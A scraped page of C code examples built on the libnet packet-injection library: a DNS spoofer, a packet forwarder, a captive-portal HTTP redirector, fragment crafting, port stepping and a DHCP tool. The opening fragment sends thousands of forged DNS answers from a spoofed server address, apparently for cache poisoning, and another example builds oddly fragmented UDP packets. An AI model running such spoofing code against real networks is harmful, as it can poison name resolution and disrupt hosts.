        load_ethernet();
        load_tcp_udp();
        load_ip();
        convert_proto();

        if(ip_proto_val==IPPROTO_TCP){    
            t = libnet_build_tcp(
                t_src_port,                                    /* source port */
                t_des_port,                                    /* destination port */
                t_seq,                                         /* sequence number */
                t_ack,                                         /* acknowledgement num */
                t_control_val,                                 /* control flags */
                t_win,                                         /* window size */
                0,                                             /* checksum */
                t_urgent,                                      /* urgent pointer */
                LIBNET_TCP_H + payload_filesize,               /* TCP packet size */
            payload_location,                              /* payload */
                payload_filesize,                              /* payload size */
                l,                                             /* libnet handle */
                0);                                            /* libnet id */
            head_type = LIBNET_TCP_H;
            if (t == -1)
            {
                fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
                goto bad;
            }
        }
 
        if(ip_proto_val==IPPROTO_UDP){
                t = libnet_build_udp(
                t_src_port,                                /* source port */
                t_des_port,                                /* destination port */
                LIBNET_UDP_H + payload_filesize,           /* packet length */
                0,                                         /* checksum */
                payload_location,                          /* payload */
                payload_filesize,                          /* payload size */
                l,                                         /* libnet handle */
                0);                                        /* libnet id */
            head_type = LIBNET_UDP_H;
            if (t == -1)
            {
                fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
                goto bad;
            }
        }


        t = libnet_build_ipv4(
    /*        LIBNET_IPV4_H + LIBNET_TCP_H + 20 + payload_s,          length */
            LIBNET_IPV4_H + head_type + payload_filesize,          /* length */
        i_ttos_val,                                            /* TOS */
            i_id,                                                  /* IP ID */
            i_frag,                                                /* IP Frag */
            i_ttl,                                                 /* TTL */
            ip_proto_val,                                          /* protocol */
            0,                                                     /* checksum */
            i_src_addr,                                            /* source IP */
            i_des_addr,                                            /* destination IP */
            NULL,                                                  /* payload */
            0,                                                     /* payload size */
            l,                                                     /* libnet handle */
            0);                                                    /* libnet id */
        if (t == -1)
        {
            fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
            goto bad;
        }

        t = libnet_build_ethernet(
            eth_daddr,                                   /* ethernet destination */
            eth_saddr,                                   /* ethernet source */
            e_proto_val,                                 /* protocol type */
            NULL,                                        /* payload */
            0,                                           /* payload size */
            l,                                           /* libnet handle */
            0);                                          /* libnet id */
        if (t == -1)
        {
            fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
            goto bad;
        }
         /* 
         *  Write it to the wire.
         */
        c = libnet_write(l);
        // sending the request to the DNS server
        free(payload_location);
        libnet_destroy(l);
        // reinit the handle so that we can set new parameters to the handle.

    for (i=0;i<10000;i++) { // loop to send 10000 responses for each request.
        l = libnet_init(
        LIBNET_LINK,                             /* injection type */
        // NULL,                                    /* network interface eth0, eth1, etc. NULL is default.*/
        "eth11",                                /* network interface eth0, eth1, etc. NULL is default.*/
        errbuf);                                 /* error buffer */

        // reinit the handle for sending responses
        if (l == NULL)
        {
            fprintf(stderr, "libnet_init() failed: %s", errbuf);
            exit(EXIT_FAILURE); 
        }

        load_payload_answer();
        // generate the response and send it

        // change the ports of source port and destination port to match the second DNS query
        if(ip_proto_val==IPPROTO_UDP){
                t = libnet_build_udp(
                t_des_port,                                /* source port */
                t_src_port,                                /* destination port */
                LIBNET_UDP_H + payload_filesize,           /* packet length */
                0,                                         /* checksum */
                payload_location,                          /* payload */
                payload_filesize,                          /* payload size */
                l,                                         /* libnet handle */
                0);                                        /* libnet id */
            head_type = LIBNET_UDP_H;
            if (t == -1)
            {
                fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
                goto bad;
            }
        }

        // change the ethernet headers to match the response from the second DNS server
        t = libnet_build_ipv4(
         /*        LIBNET_IPV4_H + LIBNET_TCP_H + 20 + payload_s,          length */
            LIBNET_IPV4_H + head_type + payload_filesize,          /* length */
        i_ttos_val,                                            /* TOS */
            i_id,                                                  /* IP ID */
            i_frag,                                                /* IP Frag */
            i_ttl,                                                 /* TTL */
            ip_proto_val,                                          /* protocol */
            0,                                                     /* checksum */
            i_dns_bind2_addr,                                            /* source IP */
            i_des_addr,                                            /* destination IP */
            NULL,                                                  /* payload */
            0,                                                     /* payload size */
            l,                                                     /* libnet handle */
            0);                                                    /* libnet id */
        if (t == -1)
        {
            fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
            goto bad;
        }

        t = libnet_build_ethernet(
            eth_daddr,                                   /* ethernet destination */
            res_eth_saddr,                                   /* ethernet source */
            e_proto_val,                                 /* protocol type */
            NULL,                                        /* payload */
            0,                                           /* payload size */
            l,                                           /* libnet handle */
            0);                                          /* libnet id */
        if (t == -1)
        {
            fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
            goto bad;
        }
         /* 
         *  Write it to the wire.
         */
        c = libnet_write(l);
        printf("****  %d packets sent  **** (packetsize: %d bytes each)\n",eth_pktcount,c);  /* tell them what we just did */
        free(payload_location);
        libnet_destroy(l);

    }


        l = libnet_init(
        LIBNET_LINK,                             /* injection type */
        // NULL,                                    /* network interface eth0, eth1, etc. NULL is default.*/
        "eth11",                                /* network interface eth0, eth1, etc. NULL is default.*/
        errbuf);                                 /* error buffer */

        if (l == NULL)
        {
            fprintf(stderr, "libnet_init() failed: %s", errbuf);
            exit(EXIT_FAILURE); 
        }
        



        loop_counter++;
        printf("%d\n", loop_counter);
            if(loop_counter == 2){
                break;
            }
            // loop to do for multiple unique requests

    }

    /* give the buf memory back */
    // clear memory 
    libnet_destroy(l);
    return 0;
bad:
    libnet_destroy(l);
    return (EXIT_FAILURE);

// clear memory on failure
}
Ejemplo n.º 22
0
/*
 -- FUNCTION: forward
 --
 -- DATE: March 13, 2012
 --
 -- REVISIONS: (Date and Description)
 --
 -- DESIGNER: Luke Queenan
 --
 -- PROGRAMMER: Luke Queenan
 --
 -- INTERFACE: void forward(u_char *args, const struct pcap_pkthdr *header, const u_char *packet);
 --
 -- RETURNS: void
 --
 -- NOTES:
 -- This is the function that deals with the actual forwarding of packets. It
 -- is called by the libpcap loop when a packet matching the filter is detected.
 -- This function breaks the packet down and creates it using the libnet library
 -- calls. The packet is then forwarded to the relevent machine.
 */
void forward(u_char *args, const struct pcap_pkthdr *header, const u_char *packet)
{
    const struct sniff_ip *ip = NULL;
    const struct sniff_tcp *tcp = NULL;
    const struct sniff_udp *udp = NULL;
    
    info *myInfo = (info*)args;
    
    int ipHeaderSize = 0;
    int tcpHeaderSize = 0;
    int payloadSize = 0;
    
    libnet_ptag_t ptag;
    
    u_short sport = 0;
    u_short dport = 0;
    struct in_addr src_ip;
    struct in_addr dst_ip;
    
    /* Get the IP header and offset value */
    ip = (struct sniff_ip*)(packet + SIZE_ETHERNET);
    ipHeaderSize = IP_HL(ip) * 4;
    if (ipHeaderSize < 20)
    {
		return;
	}
    
    /* Determine the protocol and handle it */
    if (ip->ip_p == IPPROTO_TCP)
    {
        /* Get tcp header along with its size */
        tcp = (struct sniff_tcp*)(packet + SIZE_ETHERNET + ipHeaderSize);
        tcpHeaderSize = TH_OFF(tcp) * 4;
        if (tcpHeaderSize < 20)
        {
            return;
        }
        
        /* If we are the external filter, check to see if the SYN bit is set */
        if ((myInfo->externFilter == '1') && ((tcp->th_flags & TH_SYN) == TH_SYN))
        {
            /* Add the data to the map */
            addRuleToMaps(ip->ip_src.s_addr, tcp->th_sport, tcp->th_dport);
        }
        
        /* Get the size of the payload */
        payloadSize = ntohs(ip->ip_len) - (ipHeaderSize + tcpHeaderSize);
        
        /* Get the source and destination information from the map */
        if (myInfo->externFilter == '1')
        {
            /* We are sending packets to the internal machine */
            
            /* Get the forwarding machine's return port */
            if (cliFind(ip->ip_src.s_addr, tcp->th_sport, &sport) == 0)
            {
                return;
            }
            
            /* Get the internal machine's listening port and IP for this port */
            rlFind(tcp->th_dport, &dport, &dst_ip.s_addr);
            src_ip.s_addr = ip->ip_dst.s_addr;
        }
        else
        {
            /* We are sending packets out to the world */
            
            /* Find the client to forward the packet to */
            if (srvFind(tcp->th_dport, &dst_ip.s_addr, &dport, &sport) == 0)
            {
                return;
            }
            
            /* Set the IP address */
            src_ip.s_addr = ip->ip_dst.s_addr;
        }
        
        /* Make the new TCP header */
        ptag = libnet_build_tcp(
            htons(sport),                               /* source port */
            htons(dport),                               /* destination port */
            ntohl(tcp->th_seq),                         /* sequence number */
            ntohl(tcp->th_ack),                         /* acknowledgement num */
            tcp->th_flags,                              /* control flags */
            tcp->th_win,                                /* window size */
            0,                                          /* checksum */
            tcp->th_urp,                                /* urgent pointer */
            tcpHeaderSize + payloadSize,                /* TCP packet size */
            (u_char *)tcp + tcpHeaderSize,              /* payload */
            payloadSize,                                /* payload size */
            myInfo->myPacket,                           /* libnet handle */
            0);                                         /* libnet id */
        
        /* Error check */
        if (ptag == -1)
        {
            libnet_clear_packet(myInfo->myPacket);
            return;
        }
        
    }
    else if (ip->ip_p == IPPROTO_UDP)
    {
        /* Grab the UDP packet */
        udp = (struct sniff_udp*)(packet + SIZE_ETHERNET + ipHeaderSize);
        
        
        /* If we are the external filter, make sure that we have a rule added */
        if (myInfo->externFilter == '1')
        {
            addRuleToMaps(ip->ip_src.s_addr, udp->uh_sport, udp->uh_dport);
        }
        
        /* Get the payload size */
        payloadSize = ntohs(udp->uh_len) - SIZE_UDP_HEADER;
        
        /* Get the source and destination information from the map */
        if (myInfo->externFilter == '1')
        {
            /* We are sending packets to the internal machine */
            
            /* Get the forwarding machine's return port */
            if (cliFind(ip->ip_src.s_addr, udp->uh_sport, &sport) == 0)
            {
                return;
            }
            
            /* Get the internal machine's listening port and IP for this port */
            rlFind(udp->uh_dport, &dport, &dst_ip.s_addr);
            src_ip.s_addr = ip->ip_dst.s_addr;
        }
        else
        {
            /* We are sending packets out to the world */
            
            /* Find the client to forward the packet to */
            if (srvFind(udp->uh_dport, &dst_ip.s_addr, &dport, &sport) == 0)
            {
                return;
            }
            
            /* Set the IP address */
            src_ip.s_addr = ip->ip_dst.s_addr;
        }
        
        /* Make the new UDP header */
        ptag = libnet_build_udp(
            htons(sport),                           /* source port */
            htons(dport),                           /* destination port */
            ntohl(udp->uh_len),                     /* packet size */
            0,                                      /* checksum */
            (u_char *)udp + SIZE_UDP_HEADER,         /* payload */
            payloadSize,                            /* payload size */
            myInfo->myPacket,                       /* libnet handle */
            0);                                     /* libnet id */
        
        /* Error check */
        if (ptag == -1)
        {
            libnet_clear_packet(myInfo->myPacket);
            return;
        }
    }
    else
    {
        /* Protocol that we do not handle, exit */
        return;
    }
    
    /* Make the IP header */
    ptag = libnet_build_ipv4(
        ipHeaderSize + tcpHeaderSize + payloadSize, /* length */
        ip->ip_tos,                                 /* TOS */
        ip->ip_id,                                  /* IP ID */
        0,                                          /* IP Frag */
        ip->ip_ttl,                                 /* TTL */
        ip->ip_p,                                   /* protocol */
        0,                                          /* checksum */
        src_ip.s_addr,                              /* source IP */
        dst_ip.s_addr,                              /* destination IP */
        NULL,                                       /* payload */
        0,                                          /* payload size */
        myInfo->myPacket,                           /* libnet handle */
        0);                                         /* libnet id */                                 
    
    /* Error check */
    if (ptag == -1)
    {
        libnet_clear_packet(myInfo->myPacket);
        return;
    }
    
    /* Send the packet out */
    libnet_write(myInfo->myPacket);
    
    /* Clear the libnet system */
    libnet_clear_packet(myInfo->myPacket);
    return;
}
Ejemplo n.º 23
0
///////////////////////////////////////////////////////////////////////////////////
//
// Applies another SOURCE PORT from a specified range to a given UDP- or TCP-PTAG.
// 
// Note: tx.sp MUST be already initialized with tx.sp_start
//       This is done by 'get_port_range()' in tools.c.
//       
// RETURN VALUE: '1' if tx.sp restarts
//       
int update_SPORT(libnet_t *l, libnet_ptag_t t)
{
   
//   u_int32_t SP;
   int i=0;
   
//   SP = (u_int32_t) tx.sp;
//   SP++;
   tx.sp++;

   
   // Exceeded range => restart:
   if ((tx.sp > tx.sp_stop) ||  // we exceeded the end of the range 
       (tx.sp == 65535) )       // or exceeded the 16-bit range
     {
	tx.sp = tx.sp_start;
	i=1;
     }
     
   if (mode==UDP)
     {
	t = libnet_build_udp(tx.sp,
			     tx.dp, 
			     tx.udp_len, 
			     tx.udp_sum,
			     (tx.udp_payload_s) ? tx.udp_payload : NULL,
			     tx.udp_payload_s, 
			     l, 
			     t);

	if (t == -1)
	  {
	     fprintf(stderr," mz/send_frame: UDP header manipulation failed!\n");
	     exit (1);
	  }
     }
   else // TCP
     {
	t = libnet_build_tcp (tx.sp,
			      tx.dp, 
			      tx.tcp_seq, 
			      tx.tcp_ack,
			      tx.tcp_control,
			      tx.tcp_win, 
			      tx.tcp_sum, 
			      tx.tcp_urg, 
			      tx.tcp_len,
			      (tx.tcp_payload_s) ? tx.tcp_payload : NULL,
			      tx.tcp_payload_s, 
			      l, 
			      t);
		  
	if (t == -1)
	  {
	     fprintf(stderr, " mz/update_DPORT: Can't build TCP header: %s\n", libnet_geterror(l));
	     exit (0);
	  }  
     }
   
   return i;   
}
Ejemplo n.º 24
0
static int http_redirector(const char *packet_content) {
	/*******************************************************************
	 * here we use TCP
	 * when we recv a SYN=1,ACK=0 packet, we just send a syn=1,ack=1 packet
	 * that contains nothing
	 * then we push a packet taht contains
	 *         HTTP/1.0 302 Found
	 *         Location: http://192.168.0.1/
	 *         connection:close
	 *
	 *         please visit http://192.168.0.1
	 *         and then we reset the connection
	 * ****************************************************************/
	struct tcphdr * tcp_head;
	struct udphdr * udp_head;
	struct ether_header *eptr; //以太网帧
	struct iphdr *ip_head;
	if (packet_content == NULL) {
		return 1;
	}
	eptr = (struct ether_header *) packet_content;
	ip_head = (struct iphdr *) (packet_content + sizeof(struct ether_header)); //获得ip数据报的内存地址

	//非 enable 的客户端,现在要开始这般处理了,重定向到 ... 嘿嘿
	redirector_ip = inet_addr(conf.portal_server_ip);
	portal_dev = inet_addr(conf.portal_dev);
	if (ip_head->daddr == redirector_ip || ip_head->daddr == portal_dev) {
		return 1;
	}

	if (ip_head->saddr == redirector_ip || ip_head->saddr == portal_dev) {
		return 1;
	}
	struct in_addr tmp;
	tmp.s_addr = ip_head->daddr;
	if (search(ip_head->daddr) == 1) {
		printf("dip:%sok\n", inet_ntoa(tmp));
		return 1;
	}
	tmp.s_addr = ip_head->saddr;
	if (search(ip_head->saddr) == 1) {
//		printf("sip:%sok\n", inet_ntoa(tmp));
		return 1;
	}

	memset(httphead, 0, sizeof(httphead));
	sprintf(httphead,
			"HTTP/1.0 302 Found\n"
					"Location: http://%s:5246/test/auth.jsp?sip=%s&portal_dev=%s&smac=%s\n"
					"Connection:close\n\n"
					"<html>\n\t<head>\n\t\t<meta http-equiv=\"Refresh\"content=\"0 ; "
					"url=http://%s:5246/test/auth.jsp?sip=%s&portal_dev=%s&smac=%s\">\n\t</head>\n</html>\n",
			conf.portal_server_ip, inet_ntoa(tmp), conf.portal_dev, smac,
			conf.portal_server_ip, inet_ntoa(tmp), conf.portal_dev, smac);
//	conf.authserver, inet_ntoa(tmp), conf.gateway, smac,
//				conf.authserver, inet_ntoa(tmp), conf.gateway, smac);
	printf("httphead:%s\n", httphead);
	//Retrive the tcp header and udp header
	tcp_head = (struct tcphdr*) ((char*) ip_head + ip_head->ihl * 4);
	udp_head = (struct udphdr*) ((char*) ip_head + ip_head->ihl * 4);

	//初始化libnet,每个线程一个 libnet ;)
	init_thread_libnet();

	// http 重定向
	if (ip_head->protocol == IPPROTO_TCP && ntohs(tcp_head->dest) == 80) {
		u_int8_t tcp_flags = ((struct libnet_tcp_hdr *) tcp_head)->th_flags;
		if (tcp_flags == TH_SYN) {
			/********************************
			 * 对于这样的一个握手数据包
			 * 我们应该要建立连接了
			 * 回复一个syn ack 就是了
			 *********************************/
			// here we just echo ack and syn.
			libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source),
					tcp_head->seq, ntohl(tcp_head->seq) + 1, TH_ACK | TH_SYN,
					4096, 0, 0, 20, 0, 0, libnet, 0);

			libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0,
					ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0);

			libnet_write(libnet);
			libnet_clear_packet(libnet);

			libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source),
					tcp_head->seq, ntohl(tcp_head->seq) + 1, TH_ACK | TH_SYN,
					4096, 0, 0, 20, 0, 0, libnet, 0);

			libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0,
					ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0);

		} else if (tcp_flags & (TH_ACK | TH_SYN)) {
			/*********************************************
			 *现在是发送页面的时候啦!
			 *********************************************/
			int SIZEHTTPHEAD = strlen((const char*) httphead);

			libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source),
					ntohl(tcp_head->ack_seq),
					ntohl(tcp_head->seq) + ntohs(ip_head->tot_len) - 40,
					TH_ACK | TH_PUSH | TH_FIN, 4096, 0, 0, 20 + SIZEHTTPHEAD,
					httphead, SIZEHTTPHEAD, libnet, 0);

			libnet_build_ipv4(40 + SIZEHTTPHEAD, 0, 0, 0x4000, 63/*ttl*/,
			IPPROTO_TCP, 0, ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0);
		} else if (tcp_flags & (TH_FIN | TH_RST)) {
			/*********************************************************
			 *好,现在结束连接!
			 ********************************************************/
			libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source),
					ntohl(tcp_head->ack_seq), ntohl(tcp_head->seq) + 1,
					TH_ACK | TH_RST, 4096, 0, 0, 20, 0, 0, libnet, 0);
			libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0,
					ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0);

			printf(
					"------------------------------------------------------------------------link disconnect\n");
			printf("smac:%s\n", smac);
			printf("sip:%sok\n", inet_ntoa(tmp));

		} else {
			return 0;
		}
	} //其他 TCP 直接 RST
	else if (ip_head->protocol == IPPROTO_TCP) {
		libnet_build_tcp(ntohs(tcp_head->dest), ntohs(tcp_head->source),
				ntohl(tcp_head->ack_seq), ntohl(tcp_head->seq) + 1,
				TH_ACK | TH_RST, 4096, 0, 0, 20, 0, 0, libnet, 0);
		libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_TCP, 0,
				ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0);

	} else if (ip_head->protocol == IPPROTO_UDP && udp_head->dest != 53) {
		//现在是 UDP 的时代了
		libnet_build_udp(ntohs(udp_head->dest), ntohs(udp_head->source),
				sizeof(blank) + sizeof(struct udphdr), 0, blank, sizeof(blank),
				libnet, 0);
		libnet_build_ipv4(40, 0, 0, 0x4000, 63/*ttl*/, IPPROTO_UDP, 0,
				ip_head->daddr, ip_head->saddr, 0, 0, libnet, 0);

	} else
		return 0;

	libnet_autobuild_ethernet(eptr->ether_shost,
	ETHERTYPE_IP, libnet);
	libnet_write(libnet);
	libnet_clear_packet(libnet);
	return 1;
}
Ejemplo n.º 25
0
int gen_packet (char *device, char *pSRC, char *pDST, u_short sPRT,
                u_short dPRT, int count)
{                           

    libnet_t *l = NULL;
    libnet_ptag_t udp = 0;
    libnet_ptag_t ip = 0;
    
    char errbuf[LIBNET_ERRBUF_SIZE];
    char *payload = NULL;
    u_short payload_s = 0, src_prt, dst_prt;
    u_long src_ip, dst_ip;
    int c, frag;
        
    if (!device)
        device = DEVICE;
        
    l = libnet_init (LIBNET_RAW4, device, errbuf);

    if (!l) {
        fprintf (stderr, "libnet_init() failed: %s\n", errbuf);
        exit (EXIT_FAILURE);
    }
	
    src_ip = pSRC ? libnet_name2addr4 (l, pSRC, LIBNET_RESOLVE) :
        libnet_name2addr4 (l, SRC_IP, LIBNET_RESOLVE);

    dst_ip = pDST ? libnet_name2addr4 (l, pDST, LIBNET_RESOLVE) :
        libnet_name2addr4 (l, DST_IP, LIBNET_RESOLVE);

    src_prt = sPRT ? sPRT : SRC_PRT;

    dst_prt = dPRT ? dPRT : DST_PRT;

    if (count == 1) {
        payload = "\0\0\0\0\0\0\0\0";
        payload_s = 8;
    }

    udp = libnet_build_udp (src_prt,
                            dst_prt,
                            (LIBNET_UDP_H + payload_s) * 2,
                            0, (unsigned char *)payload, payload_s, l, udp);

    if (udp == -1) {
        fprintf (stderr, "Can't build UDP header: %s\n", libnet_geterror (l));
        exit (EXIT_FAILURE);
    }

    switch (count) {

    case 1:
        frag = IP_MF;
        break;

    case 2:
        frag = 0x2002;
        break;

    case 3:
        frag = 0x0003;
        break;
    }

    ip = libnet_build_ipv4 (20,
                            0,
                            1800,
                            frag,
                            128,
                            IPPROTO_UDP, 0, src_ip, dst_ip, NULL, 0, l, ip);

    if (ip == -1) {
        fprintf (stderr, "Can't build IP header: %s\n", libnet_geterror (l));
        exit (EXIT_FAILURE);
    }

    c = libnet_write (l);

    if (c == -1) {
        fprintf (stderr, "Write error: %s\n", libnet_geterror (l));
        exit (EXIT_FAILURE);
    }

    printf ("Wrote UDP packet; check the wire.\n");

    libnet_destroy (l);

    return (EXIT_SUCCESS);

}
Ejemplo n.º 26
0
int
main(int argc, char *argv[])
{
    int packet_size,                    /* size of our packet */
        payload_size,                   /* size of our packet */
        c;                              /* misc */
    u_long src_ip, dst_ip;              /* source ip, dest ip */
    u_short bport, eport;               /* beginning and end ports */
    u_short cport;                      /* current port */
    u_char payload[MAX_PAYLOAD_SIZE];   /* packet payload */
    u_char *packet;                     /* pointer to our packet buffer */
    char err_buf[LIBNET_ERRBUF_SIZE];   /* error buffer */
    u_char *device;                     /* pointer to the device to use */
    struct libnet_link_int *network;    /* pointer to link interface struct */
    struct libnet_plist_chain plist;    /* plist chain */
    struct libnet_plist_chain *plist_p; /* plist chain pointer */

    printf("libnet example code:\tmodule 4\n\n");
    printf("packet injection interface:\tlink layer\n");
    printf("packet type:\t\t\tUDP [with payload] using port list chaining\n");

    plist_p = NULL;
    device = NULL;
    src_ip = 0;
    dst_ip = 0;

    while ((c = getopt(argc, argv, "i:d:s:p:")) != EOF)
    {
        switch (c)
        {
            case 'd':
                if (!(dst_ip = libnet_name_resolve(optarg, LIBNET_RESOLVE)))
                {
                    libnet_error(LIBNET_ERR_FATAL,
                            "Bad destination IP address: %s\n", optarg);

                }
                break;
            case 'i':
                device = optarg;
                break;
            case 's':
                if (!(src_ip = libnet_name_resolve(optarg, LIBNET_RESOLVE)))
                {
                    libnet_error(LIBNET_ERR_FATAL,
                            "Bad source IP address: %s\n", optarg);
                }
                break;
            case 'p':
                plist_p = &plist;
                if (libnet_plist_chain_new(&plist_p, optarg) == -1)
                {
                    libnet_error(LIBNET_ERR_FATAL, "Could not build port list\n");
                }
                break;
            default:
                usage(argv[0]);
                exit(EXIT_FAILURE);
        }
    }

    if (!src_ip || !dst_ip || !plist_p)
    {
        usage(argv[0]);
        exit(EXIT_FAILURE);
    }

    c = argc - optind;
    if (c != 1)
    {
        usage(argv[0]);
        exit(EXIT_FAILURE);
    }
    memset(payload, 0, sizeof(payload));
    strncpy(payload, argv[optind], strlen(argv[optind]));


    /*
     *  Step 1: Network Initialization (interchangable with step 2).
     */
    if (device == NULL)
    {
        struct sockaddr_in sin;
        /*
         *  Try to locate a device.
         */
        if (libnet_select_device(&sin, &device, err_buf) == -1)
        {
            libnet_error(LIBNET_ERR_FATAL, "libnet_select_device failed: %s\n", err_buf);
        }
        printf("device:\t\t\t\t%s\n", device);
    }
    if ((network = libnet_open_link_interface(device, err_buf)) == NULL)
    {
        libnet_error(LIBNET_ERR_FATAL, "libnet_open_link_interface: %s\n", err_buf);
    }

    /*
     *  Get the payload from the user.  Hrm.  This might fail on a Sparc
     *  if byte alignment is off...
     */
    payload_size = strlen(payload);

    /*
     *  We're going to build a UDP packet with a payload using the
     *  link-layer API, so this time we need memory for a ethernet header
     *  as well as memory for the ICMP and IP headers and our payload.
     */
    packet_size = LIBNET_IP_H + LIBNET_ETH_H + LIBNET_UDP_H + payload_size;

    /*
     *  Step 2: Memory Initialization (interchangable with step 1).
     */
    if (libnet_init_packet(packet_size, &packet) == -1)
    {
        libnet_error(LIBNET_ERR_FATAL, "libnet_init_packet failed\n");
    }


    /*
     *  Step 3: Packet construction (ethernet header).
     */
    libnet_build_ethernet(enet_dst,
            enet_src,
            ETHERTYPE_IP,
            NULL,
            0,
            packet);

    /*
     *  Step 3: Packet construction (IP header).
     */
    libnet_build_ip(LIBNET_UDP_H + payload_size,
            0,                      /* IP tos */
            242,                    /* IP ID */
            0,                      /* Frag */
            64,                     /* TTL */
            IPPROTO_UDP,            /* Transport protocol */
            src_ip,                 /* Source IP */
            dst_ip,                 /* Destination IP */
            NULL,                   /* Pointer to payload (none) */
            0,
            packet + LIBNET_ETH_H); /* Packet header memory */


    while (libnet_plist_chain_next_pair(plist_p, &bport, &eport))
    {
        while (!(bport > eport) && bport != 0)
        {
            cport = bport++;
            /*
             *  Step 3: Packet construction (UDP header).
             */
            libnet_build_udp(242,           /* source port */
                    cport,                  /* dest. port */
                    payload,                /* payload */ 
                    payload_size,           /* payload length */ 
                    packet + LIBNET_ETH_H + LIBNET_IP_H);

            /*
             *  Step 4: Packet checksums (ICMP header *AND* IP header).
             */
            if (libnet_do_checksum(packet + ETH_H, IPPROTO_UDP, LIBNET_UDP_H + payload_size) == -1)
            {
                libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n");
            }
            if (libnet_do_checksum(packet + ETH_H, IPPROTO_IP, LIBNET_IP_H) == -1)
            {
                libnet_error(LIBNET_ERR_FATAL, "libnet_do_checksum failed\n");
            }

            /*
             *  Step 5: Packet injection.
             */
            c = libnet_write_link_layer(network, device, packet, packet_size);
            if (c < packet_size)
            {
                libnet_error(LN_ERR_WARNING, "libnet_write_link_layer only wrote %d bytes\n", c);
            }
            else
            {
                printf("construction and injection completed, wrote all %d bytes, port %d\n", c, cport);
            }
        }
    }
    /*
     *  Shut down the interface.
     */
    if (libnet_close_link_interface(network) == -1)
    {   
        libnet_error(LN_ERR_WARNING, "libnet_close_link_interface couldn't close the interface");
    }


    /*
     *  Free packet memory.
     */
    libnet_destroy_packet(&packet);

    return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
}
Ejemplo n.º 27
0
int main(int argc, char **argv) {
  int ch, dhcp_payload_len;
  unsigned char *dhcp_payload;
  libnet_ptag_t ptag_dhcpv4, ptag_udp, ptag_ipv4, ptag_ethernet;

  char *arg_secs, *arg_cip, *arg_chaddr, *arg_sip, *arg_ifname;
  char *arg_operation, *arg_timeout, *arg_xid, *arg_flags, *arg_yip;
  char *arg_gip, *arg_sname, *arg_fname, *arg_ether_dst, *stmp;
  char *arg_ipv4_src, *arg_ipv4_dst, *arg_ipv4_tos, *arg_ipv4_ttl;
  char *arg_reply_count;

  if (argc < 2) usage("too few arguments");

  srandom(time(NULL));

  arg_secs = arg_cip = arg_chaddr = arg_sip = arg_ifname = NULL;
  arg_operation = arg_timeout = arg_xid = arg_flags = arg_yip = NULL;
  arg_gip = arg_sname = arg_fname = arg_ether_dst = arg_reply_count = NULL;
  arg_ipv4_src = arg_ipv4_dst = arg_ipv4_tos = arg_ipv4_ttl = NULL;
  verbosity = 1;

  while ((ch = getopt(argc, argv, "s:c:h:i:o:t:x:f:y:g:S:A:B:O:X:v:F:T:L:Q:E:w:n:m")) != -1) {
    switch (ch) {
      case 's': arg_secs = optarg; break;
      case 'c': arg_cip = optarg; break;
      case 'h': arg_chaddr = optarg; break;
      case 'S': arg_sip = optarg; break;
      case 'i': arg_ifname = optarg; break;
      case 'o': arg_operation = optarg; break;
      case 't': arg_timeout = optarg; break;
      case 'x': arg_xid = optarg; break;
      case 'f': arg_flags = optarg; break;
      case 'y': arg_yip = optarg; break;
      case 'B': arg_fname = optarg; break;
      case 'A': arg_sname = optarg; break;
      case 'g': arg_gip = optarg; break;
      case 'F': arg_ipv4_src = optarg; break;
      case 'T': arg_ipv4_dst = optarg; break;
      case 'L': arg_ipv4_ttl = optarg; break;
      case 'Q': arg_ipv4_tos = optarg; break;
      case 'n': arg_reply_count = optarg; break;
      case 'E': arg_ether_dst = optarg; break;
      case 'v': verbosity = atoi(optarg); break;
      case 'm': no_double_options = 0; break;
      case 'O': add_option(optarg); break;
      case 'X': add_hexoption(optarg); break;
      case 'w': option_lookup(optarg); break;
      case '?':
      default:
        usage("unknown argument");
    }
  }
  argc -= optind;
  argv += optind;

  /* Set some basic defaults */
  set_defaults();

  /* Make sure network interface was specified with -i option */
  if (arg_ifname == NULL) {
    usage("Error: network interface (-i option) not specified.");
  }
  strncpy(ifname, arg_ifname, 99);

  /* Try to have pcap and libnet use the interface */
  pcp = pcap_open_live(ifname, SNAPLEN, 1, 1, pcap_errbuf);
  if (pcp == NULL) {
    printf("pcap_open_live(%s) failed! Did you give the right interface name " 
           "and are you root?\n", ifname);
    printf("pcap said: %s\n", pcap_errbuf);
    exit(1);
  }
  lnp = libnet_init(LIBNET_LINK, ifname, libnet_errbuf);
  if (lnp == NULL) {
    printf("libnet_init(%s) failed!\n", ifname);
    printf("libnet said: %s\n", libnet_errbuf);
    exit(1);
  }

  /* Set chaddr MAC address */
  if (arg_chaddr != NULL) {
    int len = ETHER_ADDR_LEN;
    /*chaddr = libnet_hex_aton((int8_t *)arg_chaddr, &len);*/
    chaddr = libnet_hex_aton(arg_chaddr, &len);
    if (chaddr == NULL) {
      if (verbosity > 0)
        printf("Invalid chaddr MAC address specified (%s)\n", arg_chaddr);
      exit(1);
    }
  }
  else {
    /* Try to retrieve MAC address using libnet */
    chaddr = (u_int8_t *)libnet_get_hwaddr(lnp);
    if (chaddr == NULL) {
      if (verbosity > 1) {
        printf("Failed to retrieve MAC address for interface %s, using 0:0:0:0:0:0\n"
          "Libnet said: %s\n", ifname, libnet_errbuf);
      }
      memset(chaddr, 0, ETHER_ADDR_LEN);
    }
